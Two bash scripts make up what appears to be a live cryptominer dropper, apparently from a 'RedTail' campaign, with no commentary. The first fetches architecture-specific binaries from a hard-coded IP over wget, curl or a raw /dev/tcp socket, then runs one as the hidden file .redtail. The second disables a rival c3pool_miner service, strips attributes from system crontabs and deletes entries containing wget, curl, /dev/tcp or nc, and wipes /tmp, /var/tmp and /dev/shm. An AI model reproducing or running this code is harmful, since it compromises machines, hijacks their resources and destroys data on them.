#!/bin/bash


dlr() {
  rm -rf $1
  wget http://107.150.0.103/$1 || curl -O http://107.150.0.103/$1
  if [ $? -ne 0 ]; then
    exec 3<>"/dev/tcp/107.150.0.103/80"
    echo -e "GET /$1 HTTP/1.0\r\nHost: 107.150.0.103\r\n\r\n" >&3
    (while read -r line; do [ "$line" = $'\r' ] && break; done && cat) <&3 >$1
    exec 3>&-
  fi
}


NOEXEC_DIRS=$(cat /proc/mounts | grep 'noexec' | awk '{print $2}')
EXCLUDE=""


for dir in $NOEXEC_DIRS; do
  EXCLUDE="${EXCLUDE} -not -path \"$dir\" -not -path \"$dir/*\""
done


FOLDERS=$(eval find / -type d -user $(whoami) -perm -u=rwx -not -path \"/tmp/*\" -not -path \"/proc/*\" $EXCLUDE 2>/dev/null)
ARCH=$(uname -mp)
OK=true


for i in $FOLDERS /tmp /var/tmp /dev/shm; do
  if cd "$i" && touch .testfile && (dd if=/dev/zero of=.testfile2 bs=2M count=1 >/dev/null 2>&1 || truncate -s 2M .testfile2 >/dev/null 2>&1); then
    rm -rf .testfile .testfile2
    break
  fi
done


dlr clean
chmod +x clean
sh clean >/dev/null 2>&1
rm -rf clean


rm -rf .redtail
if echo "$ARCH" | grep -q "x86_64" || echo "$ARCH" | grep -q "amd64"; then
  dlr x86_64
  mv x86_64 .redtail
elif echo "$ARCH" | grep -q "i[3456]86"; then
  dlr i686
  mv i686 .redtail
elif echo "$ARCH" | grep -q "armv8" || echo "$ARCH" | grep -q "aarch64"; then
  dlr aarch64
  mv aarch64 .redtail
elif echo "$ARCH" | grep -q "armv7"; then
  dlr arm7
  mv arm7 .redtail
else
  OK=false
  for a in x86_64 i686 aarch64 arm7; do
    dlr $a
    cat $a >.redtail
    chmod +x .redtail
    ./.redtail $1 >/dev/null 2>&1
    rm -rf $a
  done
fi


if [ $OK = true ]; then
  chmod +x .redtail
  ./.redtail $1 >/dev/null 2>&1
fi

#!/bin/bash

clean_crontab() {
  chattr -ia "$1"
  grep -vE 'wget|curl|/dev/tcp|/tmp|\.sh|nc|bash -i|sh -i|base64 -d' "$1" >/tmp/clean_crontab
  mv /tmp/clean_crontab "$1"
}

systemctl disable c3pool_miner
systemctl stop c3pool_miner

chattr -ia /var/spool/cron/crontabs
for user_cron in /var/spool/cron/crontabs/*; do
  [ -f "$user_cron" ] && clean_crontab "$user_cron"
done


for system_cron in /etc/crontab /etc/crontabs; do
  [ -f "$system_cron" ] && clean_crontab "$system_cron"
done


for dir in /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly /etc/cron.d; do
  chattr -ia "$dir"
  for system_cron in "$dir"/*; do
    [ -f "$system_cron" ] && clean_crontab "$system_cron"
  done
done

clean_crontab /etc/anacrontab

for i in /tmp /var/tmp /dev/shm; do
  rm -rf $i/*
done